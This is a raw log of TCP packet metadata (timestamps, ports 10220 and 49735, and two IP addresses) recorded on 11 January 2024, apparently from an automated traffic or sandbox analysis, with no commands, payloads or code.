Jan 11, 2024 13:45:14.076620102 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.076656103 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.076673031 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.076746941 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.076781988 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.076822996 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.076879978 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.076905012 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.076980114 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.077013969 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.077137947 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.077179909 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.077250957 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.077347040 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.077383041 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.077445030 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.077529907 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.077564001 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.077636003 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.077752113 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.077800989 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.077820063 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.077841997 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.077879906 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.077922106 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.077953100 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.078006029 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.078087091 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.078119993 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.078174114 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.078222990 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.078254938 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.078300953 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.078358889 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.078392982 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.078423023 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.078473091 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.078505039 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.078557968 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.078670025 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.078713894 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.078803062 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.078872919 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.078908920 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.078955889 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.079045057 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.079077959 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.079106092 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.079154968 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.079186916 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.079236984 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.079288006 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.079324007 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.079345942 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.079416990 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.079449892 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.079535961 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.079632044 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.079668999 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.079700947 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.079757929 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.079790115 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.079823017 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.079890013 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.079927921 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.079978943 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.080060959 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.080099106 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.080131054 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.080188990 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.080229998 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.080246925 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.080357075 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.080387115 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.080430984 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.080526114 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.080559015 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.080607891 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.080667019 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.080683947 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.080729961 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.080786943 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.080828905 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.080830097 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.080856085 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.080921888 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.080955982 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.080974102 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.081016064 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.081048012 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.081079960 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.081121922 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.081155062 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.081216097 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.081252098 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.081285954 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.081319094 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.081372976 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.081404924 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.081460953 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.081530094 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.081563950 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.081614971 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.081693888 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.081726074 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.081746101 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.081794977 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.081828117 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.081866980 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.081948042 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.081989050 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.081994057 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.082078934 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.082101107 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.082112074 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.082128048 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.082170010 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.082254887 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.082288027 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.082341909 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.082407951 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.082444906 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.082494974 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.082568884 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.082609892 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.082643032 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.082711935 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.082751989 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.082771063 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.082842112 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.082880974 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.082895041 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.082958937 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.082989931 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.083043098 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.083096027 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.083128929 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.083184958 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.083250046 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.083281040 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.083329916 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.083398104 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.083437920 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.083489895 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.083569050 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.083606958 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.083647966 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.083715916 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.083754063 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.083796978 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.083853960 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.083893061 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.083909035 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.083970070 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.084002972 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.084021091 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.084094048 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.084125996 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.084167957 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.084223032 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.084254980 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.084301949 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.084376097 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.084409952 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.084461927 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.084517002 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.084554911 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.084599972 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.084642887 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.084682941 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.084729910 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.084769964 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.084772110 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.084846020 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.084851980 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.084912062 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.084959984 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.084980011 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.085005045 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.085024118 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.085102081 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.085134029 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.085149050 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.085211992 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.085249901 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.085278988 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.085371017 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.085403919 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.085449934 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.085549116 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.085582018 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.085637093 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.085712910 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.085746050 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.085789919 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.085829973 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.085863113 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.085915089 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.085971117 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.086002111 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.086038113 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.086114883 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.086146116 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.086178064 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.086245060 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.086285114 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.086354017 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.086406946 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.086446047 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.086491108 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.086544037 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.086575985 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.086594105 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.088686943 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.262537003 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.262618065 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.262631893 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.262655973 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.262691975 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.262768030 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.262873888 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.263046980 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.263087988 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.263236046 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.263256073 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.263272047 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.263288975 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.263408899 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.263428926 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.263444901 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.263470888 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.263595104 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.263614893 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.263632059 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.263649940 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.263772011 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.263789892 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.263808966 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.263824940 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.263966084 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.263981104 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.263998032 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.264002085 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.264022112 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.264039040 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.264138937 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.264163017 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.264175892 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.264182091 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.264199972 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.264219046 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.264339924 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.264358997 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.264375925 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.264405012 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.264501095 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.264528036 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.264539957 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.264542103 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.264574051 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.264672041 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.264702082 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.264714003 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.264714956 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.264740944 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.264754057 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.264848948 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.264883041 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.264905930 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.264920950 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.264966011 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.264966011 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.265115023 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.265172005 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.265264988 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.265405893 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.265422106 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.265439987 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.265455008 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.265471935 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.265587091 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.265609026 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.265619993 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.265636921 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.265782118 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.265795946 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.265814066 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.265816927 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.265834093 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.265850067 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.265949965 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.265970945 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.265986919 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.266002893 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.266154051 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.266171932 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.266184092 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.266191959 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.266208887 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.266228914 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.266355038 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.266375065 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.266395092 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.266411066 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.266506910 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.266520977 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.266532898 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.266551971 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.266583920 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.266686916 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.266706944 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.266721010 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.266729116 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.266747952 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.266772032 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.266865969 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.266887903 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.266901016 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.266907930 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.266923904 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.266938925 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.268280029 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.268352985 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.268423080 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.268439054 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.268456936 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.268476009 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.268604040 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.268620968 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.268637896 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.268655062 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.269020081 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.269041061 CET	10220	49735	49.12.114.15	192.168.2.6
